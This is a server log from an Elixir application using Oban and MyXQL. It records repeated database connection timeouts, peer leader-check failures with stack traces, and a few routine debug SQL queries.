    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:14:00.885000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.668.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.668.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:772: DBConnection.parsed_prepare_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:764: DBConnection.prepare_execute/4
    (myxql 0.7.1) lib/myxql.ex:354: MyXQL.do_query/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1056: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/engines/dolphin.ex:140: Oban.Engines.Dolphin.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:262: anonymous fn/4 in Oban.Engine.stage_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/stager.ex:71: anonymous fn/1 in Oban.Stager.stage_and_notify/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/stager.ex:70: Oban.Stager.stage_and_notify/2
    (oban 2.19.1) lib/oban/stager.ex:57: anonymous fn/2 in Oban.Stager.handle_info/2

[Fri Sep  4 19:14:24.907000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:14:26.944000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:14:29.910000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:14:34.860000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:15:07.890000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:15:12.891000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:15:17.492000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:15:52.528000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:15:57.530000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:16:01.948000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:16:02.016000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:16:24.705000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1480.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 19:16:36.050000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:16:36.950000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:16:41.051000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:16:45.814000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:17:19.846000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:17:24.847000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:17:29.034000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:18:04.069000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:18:05.020000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:18:09.070000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:18:11.954000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:18:13.846000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:18:48.880000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:18:53.881000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:18:58.284000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:19:33.316000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:19:38.317000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:19:43.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:20:17.091000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:20:18.065000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:20:22.092000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 19:20:26.234000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 19:26:24.705000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1431.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 19:30:00.685000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.6ms idle=1401.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 19:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 19:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1402.6ms
